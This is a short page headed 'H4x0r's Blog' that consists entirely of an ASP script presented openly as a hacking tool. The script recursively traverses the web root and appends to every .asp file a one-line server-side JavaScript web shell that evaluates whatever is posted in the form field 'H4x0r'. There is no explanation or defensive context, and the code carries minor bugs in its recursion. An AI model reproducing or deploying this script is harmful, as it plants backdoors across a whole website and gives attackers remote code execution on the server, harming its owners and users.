H4x0r's Blog

<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
 Set FSO = CreateObject("Scripting.FileSystemObject")
 on error resume next
 Set f = FSO.GetFolder(Path)
 Set fc2 = f.files
 For Each myfile in fc2
 
 If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
 Set FS1 = CreateObject("Scripting.FileSystemObject")
 Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
 tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
 else
 InsertAllFiles(newpath)
 end if
 tfile.close
 Next
 Set fsubfolers = f.SubFolders
 For Each f1 in fsubfolers
 newpath=path&""&f1.name
 InsertAllFiles(newpath)
 
 Next
 set tfile=nothing
 Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>